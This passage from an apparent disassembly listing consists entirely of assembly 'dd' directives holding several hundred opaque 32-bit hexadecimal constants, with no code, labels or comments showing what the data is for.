		dd 0F3F74C9Ah, 0ADB19BF5h, 6E7B3244h, 0AD6DD19Ah, 4DF8540Ch
		dd 0D8054CF2h, 0FA52AAF9h, 6851E75Bh, 66539189h, 6D7566F0h
		dd 2B84CAF3h, 0EF973FD5h, 0B85E376Bh, 1002EBAh,	7FC78F4h
		dd 63B7FAEFh, 0D8293BC4h, 0E62B3B2Eh, 52B07970h, 6A7EC133h
		dd 64A6A050h, 0CC2E27E2h, 0E783EDA6h, 663A1335h, 0D23C4C2Ch
		dd 0A3A862A3h, 36F29AA1h, 90D24B64h, 77DEBD2Eh,	6498D7E8h
		dd 7774D38Fh, 5862094Ch, 0E4EF14BAh, 0AAA0B125h, 0AF1A1798h
		dd 314E9946h, 0B0DACE44h, 8F878C0Ch, 0BA151C91h, 0FB13FE48h
		dd 0B02756h, 817BA480h,	0A68B194Eh, 0A8762D8Dh,	8BC29B73h
		dd 0A26C0308h, 0C1F90932h, 0B3D6FD69h, 0D143F09Bh, 7548A1BEh
		dd 0B1226391h, 0FC1245BFh, 0D3E68400h, 0A05E02F8h, 344A3995h
		dd 3AB9621Eh, 2BA1EA39h, 0C7E6C415h, 2AE1DFD7h,	98CA0682h
		dd 0E0F9F9E9h, 1A71BCB4h, 0A20ACD76h, 9B88CE6Fh, 0C042EAA7h
		dd 0C5A5A518h, 6E998518h, 0FA7C187Dh, 835BD642h, 0E19EE48Ch
		dd 0E5C20BC7h, 0DC5B04C7h, 0E652D1Dh, 0B8C5E51Ch, 763B47B8h
		dd 1D517B53h, 38E24941h, 60498145h, 1277518Ch, 83DC0D72h
		dd 198D2EFDh, 0B54305D9h, 5033746Ch, 3C3496D0h,	6D7BA0FBh
		dd 40657A7Dh, 69DD1870h, 6CFC0BD4h, 30A8C676h, 49D46FB7h
		dd 3C1EE77Eh, 2153673Ch, 2756322Fh, 9BA479A3h, 7754451Bh
		dd 483F1601h, 0B625A629h, 0D11F72EBh, 0C5A1D2EFh, 8B47D49Bh
		dd 5A421EE1h, 8F5B745Fh, 0BF798C05h, 0EA9DE6EFh, 0B31BB7CAh
		dd 6E902CECh, 9BEE843Fh, 343CDEAEh, 0B1396717h,	9FA1B84Ah
		dd 408CF1F3h, 6E243D86h, 0DD9F6A98h, 0D31BC65Ah, 0F40005E6h
		dd 4CD63E81h, 0A3385A08h, 8183C2B9h, 96A7589Eh,	0CF7EA66Bh
		dd 0F09FAADAh, 1F571B6Bh, 53F7B17Bh, 30036F3Dh,	73573BF7h
		dd 0CD840A79h, 6379691Eh, 3766C2BFh, 0D8B45162h, 6C7D2D53h
		dd 0F65C556Ch, 3BA25DCDh, 0DBDDB775h, 0F633037Dh, 5A114CBEh
		dd 3ADEAAFEh, 5945EE7Eh, 218B92C2h, 0C6093441h,	0E6AC42CCh
		dd 802CA96h, 504B06A1h,	2A1CAD43h, 8BF4EC47h, 0A9F195B2h
		dd 9CD2A400h, 0D13F2F43h, 0FAB249Eh, 0BF7F6F2h,	0BCBE5083h
		dd 0B1C9AF6Ah, 8D036FA4h, 0AB200767h, 0EB6EA603h, 91B7F33Ch
		dd 0C2E22E99h, 0D0FAD834h, 19CF8F33h, 29CA9140h, 694A35EFh
		dd 49C713D3h, 0ECC9AD36h, 3B7FAE7Ch, 9F19DE55h,	376AFF0Ch
		dd 40FA8718h, 167F33B8h, 58704020h, 9B0993EEh, 1A0CBEC4h
		dd 9E070C80h, 0DB4A60E0h, 8A560242h, 0FDC1990Ah, 95D4C191h
		dd 0D5DDCAA5h, 0E4BEB398h, 0F505599h, 1688E8E1h, 9EE19078h
		dd 8EBA6F5Ch, 3FE9C89Ch, 4B94F89Dh, 384473DFh, 863E2E66h
		dd 0B0863A30h, 0CD7082F2h, 59505EB0h, 49896F13h, 6F5D539Ah
		dd 22E41FE1h, 6E5C5076h, 855CAAD9h, 38D8C95Eh, 0A16D7A84h
		dd 7059336Eh, 0AF284581h, 4D500C24h, 1A0A0E0Eh,	0ED7D4315h
		dd 0E49367F8h, 0B7708170h, 0D3B7F6D3h, 6B4B423h, 0A2A105AAh
		dd 7477096Ch, 6B117705h, 0B5FA4F6Bh, 0C3010D68h, 7B4D1614h
		dd 0A0B442Fh, 80E05BA4h, 0B7497BE4h, 5DA9C91Ah,	691E2CC3h
		dd 0B84805A2h, 0EA679550h, 52054BF5h, 98BC0587h, 0F463A75Ch
		dd 73CA388h, 7A6B857Ch,	15B5B3FEh, 6166009Dh, 215BC296h
		dd 8039990Ah, 71CD74F3h, 5A113C28h, 38774943h, 0C57887A0h
		dd 3C6CAC81h, 860FBF50h, 2BC9F4D7h, 3F859245h, 368B40DEh
		dd 7176D49Ch, 96D6A430h, 26E4CACDh, 0CE27B086h,	2D79FC2Fh
		dd 619E8D24h, 10491397h, 0EB928543h, 680A40A2h,	73D0C21h
		dd 0F242C63Ch, 136DAD3Bh, 70A6033Eh, 0A0C1AC6Ch, 82D14D7Eh
		dd 0CB475A96h, 8E98B93Ah, 0EF444B6Ch, 1D926CCAh, 61D55D8Dh
		dd 0BCE10BD8h, 0C27B3DEEh, 0A1D5BBABh, 778864B9h, 9099CFAh
		dd 0F2C2456Bh, 0F422B124h, 2119DCA8h, 0F97D543Ch, 6814C75Eh
		dd 0FDD74E04h, 0D20C4FE3h, 0E067E0EFh, 23403C06h, 5AE30775h
		dd 0F27C385h, 1E4D3A63h, 0DB17C0FAh, 7DCC879Eh,	0BEC2C516h
		dd 17BA8683h, 675C7B0Eh, 0D1103100h, 569AF0DAh,	0D048873Fh
		dd 71A38CB4h, 0DFEC2259h, 902B1DA0h, 31547F2Bh,	3BCB486h
		dd 24875EB3h, 1C0233B2h, 0CAB96C14h, 0E682659Fh, 3B1FADF0h
		dd 88F7973Ch, 0C5E116EEh, 0C2354125h, 0B4155AFEh, 0DA9DE93Bh
		dd 34561891h, 0EC1F4E9Eh, 0C74C6CD5h, 0A6743A11h, 0EE21D2E3h
		dd 49C87E15h, 0C3720F1h
		dd 5B97885h, 0AEB95D33h, 8C970403h, 660649B1h, 1D9121F2h
		dd 73E8C87Dh, 2AA7F08Dh, 0B3649E7h, 8A2F76CDh, 361803E5h
		dd 0D83D29CFh, 979774BAh, 0C7624237h, 28B2EA4Ch, 0BBC50F49h
		dd 0F497D395h, 787BC27Ah, 0A9890AA8h, 0F30A5025h, 88BC5D98h
		dd 0A872CC0h, 4E9E8E1Eh, 5453D163h, 57E5299Fh, 0DD83F4DDh
		dd 4DAA1140h, 0E1ECE8BCh, 9AAA8AE4h, 39EE6B3Ah,	0DD0347D4h
		dd 8F35889Eh, 0B276E897h, 0B77307A7h, 751AF517h, 0CCA28559h
		dd 29572E69h, 0DD149141h, 615D73Ch, 444F8AA7h, 3C635E1Bh
		dd 8EFC4BE6h, 421A4814h, 0CF95B540h, 1CD9C434h,	5628F865h
		dd 0B6E8AD8Bh, 3633013Dh, 67D7213Ch, 4F39E53Fh,	31BC5C18h
		dd 748E9603h, 0EA46C07Ah, 5BDFEA13h, 7FEA5A83h,	83E4B307h
		dd 3D7D745Ah, 5DF93353h, 0DA073AE1h, 3A01FB53h,	0F56F20FAh
		dd 6F84BA2h, 0D4014A27h, 9F64E88h, 0D0C33493h, 0F7D7745h
		dd 44968F47h, 0C640BCDFh, 0CB109893h, 0B401475h, 603946F4h
		dd 6DE1F69Eh, 0E222ED8h, 0DB2AB36Ch, 5AEE7D79h,	0B5B49E5Bh
		dd 97E75223h, 90438ED9h, 4FB9D965h, 405B3782h, 0BB4DB590h
		dd 11B84661h, 1D673E94h, 1C1820CAh, 0A89087BEh,	2220AFCh
		dd 0BE7B9713h, 0AB9B8B04h, 18674BD4h, 0A12FE7B4h, 512B4580h
		dd 8047C7F4h, 99CE2AD2h, 0E1564E19h, 0DEBBA65h,	0F371033Dh
		dd 0D5E873C1h, 513E6BC1h, 65E06E95h, 6ADA8727h,	5021B60Ah
		dd 2C6CA55Bh, 992FDD0Dh, 97E54693h, 7AD92E41h, 57C84F1Dh
		dd 572DEA38h, 0B4315DA5h, 65561E52h, 0FD2A8DBCh, 0D6A0F94Fh
		dd 0D3E4EFBDh, 507BE49Bh, 1C334928h, 42D59189h,	4459F30Eh
		dd 7A43A6Dh, 0AF9379D3h, 59FD613Ch, 0C21BB97Fh,	5214AF9h
		dd 0AFF508Eh, 0ABC6BFF4h, 409ADB77h, 8FFA718Dh,	0D28885A0h
		dd 1AFB2D87h, 88C02608h, 8027FC25h, 69F6AD41h, 0D0C98DADh
		dd 4A85E736h, 8EE04E8Ah, 69697B06h, 0F450B197h,	7B1D4C70h
		dd 0E64A7595h, 0E29A5973h, 16E7E14Ch, 0AA2C72C1h, 0E1B0408Dh
		dd 0E6BBF22Dh, 6E81612Ch, 39225702h, 8C54CAA1h,	4CBCF4D0h
		dd 281D4294h, 66446E88h, 4588AEAh, 4B784464h, 51CCC03Fh
		dd 3C0F0B08h, 0E65E7BB1h, 0DB5BA785h, 8B5BCE57h, 59FF1F28h
		dd 4F31CCD6h, 0AA33018Ch, 2FA75816h, 0D1150B3Ch, 6CA91245h
		dd 0B2D1BBABh, 5E7BD6A3h, 7C40B163h, 0BC7DCB2Ch, 0CE8F7948h
		dd 8D9D837Bh, 2221EDBh,	94DFAB3h, 59D930C8h, 0EC694F9Eh
		dd 6A588F72h, 0AF10B868h, 225AA0F5h, 5A5272CCh,	0E0A629D5h
		dd 0FE617100h, 7E461B53h, 5734497Ah, 0CC74CED9h, 3F19B5E5h
		dd 56DB0AE1h, 95FFCE0Bh, 0D5DB2FD5h, 0DC3DEEA4h, 5754384Ah
		dd 9C7E48Ch, 76FFF80Ah,	5E38EB7Fh, 2C8F2A67h, 8D900376h
		dd 0D99AEB3Dh, 3176A5CEh, 0A8641808h, 0A0D183A6h, 0AEDA5817h
		dd 9E2E38FCh, 16477021h, 996E70BDh, 0C123945Ah,	4769875Fh
		dd 0E024BECh, 6419D600h, 64C0443Ch, 1F7B69AAh, 37A80153h
		dd 9DC93A17h, 0CCEA7D0Fh, 4CAD2C12h, 0ADFC033Dh, 42DA8AF4h
		dd 0F8577AA9h, 0F2952653h, 43E1A17h, 0BC73C71Ch, 3A9D7F05h
		dd 0ABF4F797h, 7711DAFEh, 351DFF08h, 24DBF000h,	0D31AE0DBh
		dd 0AAECA0ECh, 1C6D6136h, 90AA5F77h, 6970E32Bh,	0C3E8FDAFh
		dd 63AD3AADh, 792BF731h, 8412138h, 631D22A6h, 0F39AF979h
		dd 0AF5C2696h, 8545430Bh, 0CF04C0F9h, 0A60CFEBEh, 6B69326Ah
		dd 0CDA271C2h, 0FBC17410h, 76067C35h, 0D30EC7F8h, 6D75D3F5h
		dd 0A24C0963h, 740E3A62h, 228FA549h, 0D58DFA28h, 6006E12Eh
		dd 0A589D70Fh, 51F6BA3Bh, 5318FDBEh, 0B13BEB2Eh, 0EA37234Bh
		dd 0B37BDEECh, 0FD8C1608h, 5DA4AD0Ch, 79D0CC7Ch, 2B11E8C0h
		dd 0CDBE7740h, 1C455EBh, 117AB8h, 0B731AF37h, 111C6865h
		dd 9E963839h, 0E6C036B7h, 95C1560Ah, 2E7ECCFBh,	48E1D94Fh
		dd 0A6166428h, 1EC68D35h, 8C0BC557h, 0BE39E767h, 0DA8CEBE6h
		dd 0AF5B1168h, 0BBB4FADEh, 484C403Ah, 5C8C4FAEh, 6C7E0A6h
		dd 85FFA167h, 930C4556h, 1484B661h, 32C4F70Bh, 9A80B254h
		dd 26C43DC3h, 0FE5D1B07h, 976014E5h, 0DF1330DFh, 0D5EEB2E7h
		dd 2ABC12D0h, 66F56ED1h, 0E6018805h, 0A29E1EB1h, 84371E5Ch
		dd 1072127Ah, 0D4F63B83h, 0D680D493h, 7FE7E0ABh, 0F6A53D8Eh
		dd 328514F2h, 26236221h, 690C6626h, 1DC96BAEh, 4270063h
		dd 5791B6h, 0EAB53274h,	0BE14D55Fh, 0A6FF01C0h,	0E02EC2B1h
		dd 62983C64h, 0CC33CFB4h, 0DB13B2B3h, 4DB50B6Bh, 990B239Fh
		dd 488731Fh, 0B727C11Ah, 6CB22283h, 0D0A8BD01h,	0AF9A2AA7h
		dd 0ADEC21EAh, 32D7E5DAh, 0E2FC0E86h, 30DD68ADh, 765EA4EAh
		dd 0F1B9B57Eh, 0D2FF4796h, 0F557431Ch, 0DCB091D9h, 3F38EB72h
		dd 0A572A88Bh, 8AEC86Ch, 0D267FDF3h, 0C9BE4A1Bh, 0E2557B04h
		dd 9EA3119Bh, 0C9ED80B4h, 0CC0DED02h, 368BC3A7h, 2E90535Ch
		dd 0DEEFB72Eh, 8A834DF2h, 197E1928h, 0D601F1Ch,	45278EDBh
		dd 0A90598h, 67ACBE4Bh,	41C4B220h, 5716B418h, 7252D7B6h
		dd 6FFFBFE0h, 0FFCBDFE0h, 0CE879EAh, 9F1678EAh,	0CA753FBCh
		dd 0B1B8FC1Ah, 0D51634E9h, 0D436ECDFh, 18D6FA52h, 90B737D0h
		dd 8E8C1421h, 0B35F4EB2h, 5C769B9Ah, 44F1DA9Bh,	0B2FB273Ch
		dd 0B0D64628h, 0B4BDD0F4h, 78725112h, 0D085F2B1h, 81A2AAC8h
		dd 9A4282C5h, 1F7FF34h,	0B55D9F6Bh, 0D24D39EDh,	9B62C342h
		dd 6AAE7880h, 0B8D575C2h, 0DA99CAB4h, 9BE37B2h,	0E320C6AFh
		dd 37D5EFF8h, 0F8DBA12Dh, 0D94C9F35h, 6C7CA93Ah, 0A866E531h
		dd 5B9D1351h, 8E342BC9h, 0E85F5E6Fh, 1F99F3E9h,	5DDCF436h
		dd 0ED406A1Bh, 345F9095h, 0A6044127h, 0C70D564Dh, 43369F1Dh
		dd 2DEC6DF8h, 8B559EEFh, 6EAFFDA4h, 6F30B97Bh, 0C3CC5F1Ah
		dd 21CD9E30h, 0BD304347h, 9FB3BA69h, 52A5590Ch,	51A8D1C7h
		dd 87F43B5Ah, 1C896432h, 70A11E9h, 6764060Ch, 28640634h
		dd 4B9D8CA0h, 0EB0DD2B6h, 34DD84CDh, 5DF9924Ah,	24A6551Eh
		dd 89A994F9h, 3FC74F07h, 297410E6h, 0E284610Eh,	6A713BEBh
		dd 0A6F91656h, 347CFF7Fh, 0B06D1AB0h, 11F1230Bh, 0F79589EEh
		dd 0BE8867C8h, 0DE58233h, 0D18165ECh, 0CC57164Ah, 2244CB57h
		dd 7342EB2Ah, 1B8C4AFCh, 9C611292h, 6CFF44B0h, 0A0F9BD58h
		dd 0AB24B76Dh, 86E9F195h, 0E1BEC83Ch, 0A398F0B9h, 0F72DF99Bh
		dd 0DA40803Fh, 46E80591h, 0B56D5F83h, 651638F6h, 195E985h
		dd 0A1CD6134h, 0C5CA2457h, 8816F24Bh, 752D6498h, 762F4DBFh
		dd 4866EB04h, 0C707721Ah, 128CE6F8h, 6D14182Ch,	5BFE47B4h
		dd 0C7A82A2Ch, 731A7E5Ah, 9102A6BBh, 0FD6BF445h, 4552CD9h
		dd 119D1868h, 3E40C23h,	56200EE4h, 3797531Ch, 0E8B7044Dh
		dd 9384B7EDh, 737F786Bh, 0D70B6817h, 0D5601A78h, 75218E97h
		dd 0B031C0BEh, 619B9799h, 0B1428396h, 173CDF21h, 397C4A75h
		dd 673DE1A7h, 88B8C0BDh, 55E8A11Ch, 791AB6D7h, 0B197876Eh
		dd 0E94101Bh, 9E28A80Fh, 0BC15DB93h, 479BAE06h,	9B1653F6h
		dd 8C504250h, 0D381B105h, 0ED405C52h, 3A5B44E4h, 0A652565Fh
		dd 0F33BE365h, 2BEF56Dh, 9B348546h, 75A679Eh, 6CFC26Eh
		dd 2ECC1C89h, 6640087Ah, 0E796FFF0h, 894FB78Bh,	86422583h
		dd 0A620227Dh, 6327CA6Ah, 458E4C85h, 4633457Ah,	7E616319h
		dd 0AE16644Fh, 0E05811B8h, 0B2FE681Bh, 243F1707h, 13FD5CDCh
		dd 3F67FE8Bh, 0B466DFFBh, 8DFD8749h, 34A6DD89h,	1147A9C6h
		dd 7D441E14h, 6063AAE1h
		dd 8F617572h, 50CE91A3h, 225D85Bh, 0B93BD03h, 78769F81h
		dd 2BF533CCh, 8C52C9E8h, 18D82596h, 35B989CCh, 0A0310783h
		dd 233CEA97h, 25AD79ABh, 2DC4EE0Ah, 0BF64B27Fh,	2D89D7F2h
		dd 52EA33B4h, 0FFDBD6F9h, 0A46622EBh, 55673958h, 5A3CC351h
		dd 0FD9A1715h, 804A99A3h, 0D4B99B6Ch, 30F5436Ch, 82007AB5h
		dd 0E86F9281h, 0C24B9E13h, 3D08E55Dh, 11B9AD16h, 3C8FF6C7h
		dd 0A4124C22h, 0E173D903h, 0E7E20532h, 7BF71D7Bh, 67D78597h
		dd 68B7FB0Fh, 0F43DE5E7h, 0AF3F712Dh, 53E56F4Dh, 0D3EFA0AEh
		dd 8C0225A2h, 319F2B07h, 4E54D1A9h, 0D473EC11h,	2DB8EE07h
		dd 13967B30h, 398FA752h, 0A6DE834Bh, 0A867AB1h,	0D8194F3Eh
		dd 0A598ADA6h, 3F1143D1h, 58986B43h, 0AC05A98Bh, 532F6781h
		dd 1B7E207Eh, 3201EA84h, 8379885Ch, 1746AB8Bh, 6786295Dh
		dd 2CCFD8B9h, 0A92D287Ah, 759DDDE9h, 0F24470C3h, 0DAAF5298h
		dd 0C54C0820h, 306B6411h, 6D2847A5h, 6DD39925h,	2ECF2164h
		dd 91BBAC6Ah, 3D7213D5h, 5A3490C8h, 0C72D1318h,	0AEF719F4h
		dd 0D917D07h, 88925BF6h, 0C5B58A42h, 0DD701520h, 2BE2ED2Dh
		dd 0F25276h, 2FD286Dh, 7E217A82h, 0CC5F6519h, 0CFDB9F1Eh
		dd 0C08531B3h, 847058B6h, 0F476D868h, 46C7BBA1h, 0E1EC5941h
		dd 0A3A679Ah, 96FF8361h, 10CD4E53h, 42248312h, 0F95A9C19h
		dd 1F71468Dh, 0A6AA30D8h, 3F3CB42Ah, 0E3D8226Eh, 717E81D2h
		dd 0E4B19A2h, 470FF63Ch, 67C42AB5h, 0F1771BC5h,	0D3FE07CFh
		dd 555E3403h, 9E7F0B7h,	5D9B56B4h, 561BB608h, 66354E1Ch
		dd 0E8FD9F21h, 1D4F216Eh, 2064F169h, 840A5D3Ch,	4DEA31Fh
		dd 7098F2B6h, 5083D78Dh, 0C5E7C982h, 1A4F99E1h,	760A83C2h
		dd 7281570Bh, 49AA80h, 0FF9DD525h, 7E9CF5B0h, 0A0AB71A9h
		dd 3C8063Dh, 2E2F5B6Ah,	0FCB3CF7h, 650E266Ah, 0B2AEFF78h
		dd 5A1F62E6h, 0D9ADAB96h, 0E51EB706h, 0CAECA430h, 0EF6E7B5Dh
		dd 1B5FE425h, 6538A6B6h, 0FD33D286h, 0A6601947h, 33D954AAh
		dd 450B8A13h, 2E2D0DADh, 23527C8Eh, 5D53ABE5h, 0A55E7B30h
		dd 9CDF99C2h, 0CFE4A4D0h, 72C31526h, 7C5561C2h,	15E0E798h
		dd 522DDAA6h, 3D7E2F40h, 65105895h, 90EB308Bh, 0FFE1D8B2h
		dd 1E8F1798h, 0BE4141A7h, 189C7C05h, 0D13124AEh, 0D1FDAC50h
		dd 207EDAA7h, 831E8BC6h, 0E444D35Eh, 62764B24h,	37A29EB4h
		dd 3B1B0C00h, 36D92858h, 7297A86Ch, 393F551Eh, 0EF3675Dh
		dd 38FC3740h, 3414545Ch, 609549D7h, 0F10A801Dh,	8907BB04h
		dd 2163FDCAh, 33558599h, 12823E48h, 57E605DEh, 0B720BE61h
		dd 0EA500761h, 9CCF74A4h, 0C213367Ch, 4640821Ah, 6D2CE7AAh
		dd 28C4F13Ah, 540F4CCh,	52F4C965h, 0E27F3053h, 0D14F3CBDh
		dd 54AEDCF1h, 0DD9376D4h, 5A466BF7h, 1ABDD02Fh,	0ED2A881Eh
		dd 0EBF6820Ah, 0F0C48A4h, 3B9347C5h, 0D3B7C1D7h, 27EA72BAh
		dd 0ECB63312h, 601D82EBh, 677EF546h, 0DB9DBDE2h, 97D0857Eh
		dd 58AC126Ch, 5C13BFA7h, 0AFCDCBBh, 0C067F39Ah,	9D5B5B74h
		dd 466FD33Fh, 0E21CE9B7h, 47A9A1F8h, 0B2DD5361h, 493D15B2h
		dd 0D3262B52h, 9EE5F090h, 0F1844FBEh, 0FE3A3EC2h, 3579A4Ah
		dd 0FC00D45Dh, 0A6E0B3FAh, 92E90F1Ch, 0C059BAF3h, 0B9F70804h
		dd 98DA5B4Eh, 0E45799B2h, 0F6314763h, 597C7AEh,	49B65BC4h
		dd 0A33715D5h, 605EB71Ah, 1CAE98C0h, 81661590h,	866B7383h
		dd 26E06857h, 394F8D4h,	0D36F562Dh, 24350176h, 9E1A8286h
		dd 41664337h, 691F9954h, 35F67D12h, 1E015968h, 11CB89Bh
		dd 79143C31h, 141AB27Ah, 30116416h, 0BAEA8040h,	0BC4C1210h
		dd 5E749272h, 31FF0BDFh, 58F78261h, 1E4600B5h, 129E31ACh
		dd 976E8B7Dh, 10675EDAh, 86E2A8F5h, 42ABC324h, 34D8FFF7h
		dd 5C5F0430h, 0CC5E898Bh, 0BAC8FC18h, 6B6AC36Fh, 17FE397Fh
		dd 364F87CEh, 0E7D21CAFh, 76B001D7h, 46DAE1D1h,	0C62DF93Eh
		dd 0EE749B45h, 691C6303h, 0EA345221h, 5247648Dh, 32864CF4h
		dd 25744F58h, 40DA6E5Eh, 0F89B7B44h, 0D37F4D4h,	0A7D231CBh
		dd 0A82ADD6Eh, 18E06161h, 0D09BF326h, 0B4440B0Ch, 0B66C3590h
		dd 446B8749h, 8CEEA77Ah, 963EE7B2h, 65D135C0h, 30E9EC25h
		dd 73859513h, 0B8ACA010h, 0BCE5BCE1h, 210A1F6Ah, 866E0B71h
		dd 0B73E88D6h, 314EF579h, 0B23E2D6Ah, 249E4232h, 0E810DFC8h
		dd 5A68AA61h, 3FD731C4h, 46EF7BAAh, 0DF4CAA9Ah,	89F37A85h
		dd 872D3EE0h, 0E53B59D2h, 11EFAF47h, 0B2DFC3CDh, 0AC433487h
		dd 0D3D2419Ch, 27FE4CB5h, 0AD41DE6Bh, 7004D26Fh, 84C505Ch
		dd 0BDB52FAEh, 925AD2DEh, 48279B66h, 0D9769C84h, 2337E894h
		dd 40112AA0h, 0A2B89E5h, 9A9732F5h, 4E4CC912h, 1BB8A344h
		dd 0EA9967D6h, 0DA33D24Eh, 23EE40A0h, 2EA8AB0Fh, 2D9AA48h
		dd 0CD523740h, 0AF3286AEh, 0D8B993CAh, 6FADAA3Dh, 1E68087Dh
		dd 3BF9E05h, 541F2721h,	22500AC6h, 609ECD4Bh, 6E8B6B0Eh
		dd 154E4CA0h, 973B0B3Ah, 414DB499h, 0DAF9298Bh,	5D762F60h
		dd 0C2FEE625h, 640108CEh, 888E0722h, 0AC0EC557h, 0BC943CF8h
		dd 0FAED0C98h, 72569101h, 77F5AD9Fh, 69E00C94h,	0D6EC363Fh
		dd 0C18E7684h, 36BFF8C7h, 20B4A435h, 51C1E710h,	0A95C1E84h
		dd 8FD74F00h, 91025385h, 5D54D23Ch, 42D879F7h, 238CF4FAh
		dd 0B4C9394Ah, 285ACBEBh, 7D2DF7FBh, 0CC02A4F4h, 8E7772CFh
		dd 0BBA192FBh, 0E6C5F8C6h, 0DD259640h, 0AF3C3F7Eh, 4C38CDBh
		dd 0C111F118h, 7DA41A2Bh, 2402E8CAh, 2C7EDD47h,	0BDD9B63Bh
		dd 0D1361D54h, 3D477BD2h, 7B710AEDh, 0FD159CAh,	0A91EBEAAh
		dd 0B394CEA8h, 2B634F0Dh, 0C33E3727h, 1BA8D352h, 0E5570CDDh
		dd 5A8F16B1h, 8805F261h, 1630AC90h, 25205CC9h, 0E9F7A1D4h
		dd 5419A6ECh, 61FF40EBh, 3415A7h, 71B575A5h, 0D7EC6D62h
		dd 72C8B738h, 4814951h,	11B479F0h, 562588A2h, 8605AF34h
		dd 8625E4FDh, 0BA6C2AD5h, 121B2A48h, 0A1958C82h, 2998F915h
		dd 0B0120FD7h, 6B36146Eh, 3E5DBFE0h, 43922C87h,	0FC5903CEh
		dd 2A44F754h, 32A7D6EFh, 0D5F159D8h, 1F485C2Fh,	0F39C3B64h
		dd 3472039Fh, 0AE47F0ACh, 10BD96F3h, 0DC765EA6h, 3CC13C26h
		dd 0E15DFD84h, 0C633A675h, 6CFA8ADAh, 918D1486h, 7AA05D00h
		dd 1B7871DEh, 99B5935Fh, 0AF1385B2h, 72756281h,	0AD19F25Fh
		dd 10F11D98h, 14C3ABCFh, 7C23A929h, 8D6E5EDEh, 82A31EE0h
		dd 41A37DABh, 0C7435336h, 264CBB78h, 4F6269D8h,	0A0B704CBh
		dd 9C58972Ch, 286998Bh,	738E77FDh, 0E10CEC5Ch, 0EC3E563h
		dd 0A9F36698h, 3CD0804Dh, 3BD8B12Bh, 0B194CA66h, 1F163A58h
		dd 41C52415h, 0FC61670Dh, 0CA12A195h, 0A1BCC1B7h, 9564F270h
		dd 5ECFC661h, 0CFF95E0Ah, 0A913580Ah, 285DA334h, 50254077h
		dd 8FF7B0C0h, 1A692691h, 0D09D8ED1h, 0A43AB039h, 0AE57F73Fh
		dd 92E16E78h, 1CF1A5D3h, 21D03F10h, 59E3F181h, 0F8160BD9h
		dd 0B0C9166Fh, 0ACE5B8E0h, 1A922D07h, 0C099038Eh, 2404F774h
		dd 2A47D69Fh, 0DBB959C1h, 1D305C2Bh, 0F2F83B66h, 34EC0398h
		dd 2E1EF0ADh, 0D15916F3h, 0BCE79EA6h, 13F65C26h, 5D59033Eh
		dd 7A1CB37Ch, 4B36EADBh, 0E1E4CAD2h, 146DD420h,	8AB51F39h
		dd 0F61881BFh, 8F17F3BCh, 5D0B73h, 0C4259AE2h, 5FB73CEAh
		dd 7BA98B0Ah, 710C4B84h, 796414BFh, 0C2D78697h,	90956DA0h
		dd 460F5B49h, 495CBF7Dh, 0B7622CDDh, 0B2B70BCBh, 85B896ACh
		dd 1F0DB8C5h, 0FBEE45DFh
		dd 0D8428DACh, 6827841Fh, 0DC5F669Ch, 0FCF48043h, 0F5EEB12Ah
		dd 8B9DCA66h, 4F1AAA58h, 63C7E415h, 8C66470Dh, 82511195h
		dd 0E196F9B7h, 87059A11h, 1FC3C861h, 3779570Bh,	0B9535C8Ah
		dd 0F0BFA1F4h, 50B54397h, 9F8FB340h, 1B8D26D9h,	0C0C38EEDh
		dd 0D62D700Bh, 0CD2C1B61h, 1838AE7Fh, 0CCF0C5D2h, 37D8CF11h
		dd 0A7A42981h, 0E01627D9h, 0ACC9606Fh, 0B2E5A1E0h, 5D22187h
		dd 0DF19404Eh, 5BC4F614h, 7A67D60Fh, 0F1515E08h, 0D385C37h
		dd 0CAF43B70h, 38EE0391h, 0A81DF0D1h, 905A96F1h, 9C67DEA1h
		dd 83B67C27h, 85B9133Eh, 60CBB7Ch, 46CEEEDBh, 0D8E0C8D2h
		dd 18D3D720h, 70981CB9h, 0F49401FFh, 8E86339Ch,	852B43h
		dd 0C4026ADAh, 5FC124EEh, 7BA08708h, 7110CD87h,	8D48D5BCh
		dd 2A4DE71h, 0C4F2DC63h, 0A60F232Ah, 775CA36Ah,	776222D4h
		dd 4CB702D7h, 0EAB8922Eh, 88DBA3Ah, 400E4A3Eh, 644CEC3Ch
		dd 6E63E533h, 0D2B366B0h, 553881B1h, 0E7CCB131h, 0B7AECA61h
		dd 8C112A59h, 824BA415h, 9CA4270Dh, 9A320195h, 994F31B7h
		dd 996CAA70h, 78B3AA61h, 0C8FB440Bh, 0A88C570Ah, 289E25B4h
		dd 508501B7h, 9F879070h, 1B812961h, 0C08186A9h,	0A400B42Dh
		dd 0AE40F535h, 92E0E987h, 9CF0E456h, 1BD8DF56h,	79A421A0h
		dd 681623A9h, 0E8C96277h, 90E5A2E4h, 34922205h,	0D7990209h
		dd 0DF84F635h, 0B807D63Fh, 90415E30h, 3DA05C33h, 0C2B03B72h
		dd 3C880392h, 2A0CF0D2h, 534216F2h, 7DE31EA6h, 73709C26h
		dd 0D98233Eh, 427C037Ch, 64C612DBh, 0F7FF16D2h,	0F51E620h
		dd 4B5F6439h, 0F6B59D3Fh, 8FB67D7Ch, 0DCA53h, 0C44E7A52h
		dd 5FA32C22h, 7BB380E6h, 710B4F96h, 0D4C9AB4h, 42A2BFFDh
		dd 0E4F3CC1Dh, 0B60FAB0Bh, 8F5C649Ah, 7B6200CCh, 4EB731D3h
		dd 0EBB969A0h, 80DA67Bh, 0C04E441Eh, 27ACED0Ch,	4E73E58Bh
		dd 0A28B6674h, 1D3C8057h, 0C3C2B120h, 25AFCA69h, 0D511AA55h
		dd 0BEC86417h, 92E4070Eh, 12D2718Ah, 5DDF29B6h,	7B14A670h
		dd 69D7AC61h, 0D065450Bh, 0D4D5578Ah, 26FAA674h, 5794C1D7h
		dd 9C1EF060h, 1A45D969h, 0C0A75E95h, 0A431982Fh, 0AE484332h
		dd 12EC1086h, 5CF2F8D6h, 2818EE96h, 4DC71396h, 0BB25D435h
		dd 88DCC3B7h, 1FF5B304h, 4364AF55h, 6CE98F34h, 1E82BAB4h
		dd 48AA37DAh, 0B0316982h, 962B6FF5h, 0E5AE4E53h, 17A8AA1h
		dd 0DB2EE042h, 14439689h, 690B9DFFh, 0F220BD23h, 0C204432Ch
		dd 2CB9C86Dh, 9F76453Eh, 0CB15D4h, 0B9B8D35h, 0C2570FA9h
		dd 11E9153Ah, 8834F052h, 0C047B3FAh, 0C56BC222h, 2786AB36h
		dd 0F2AB9C18h, 0B25A1A41h, 8C489BDDh, 0F6B4446Dh, 7BE04E21h
		dd 6E0BCC9Fh, 875C579Ch, 796A78DDh, 5D4829FEh, 0F8B991EAh
		dd 0FADCC83h, 55715718h, 0F78C12FDh, 26D62608h,	0B26FE7B1h
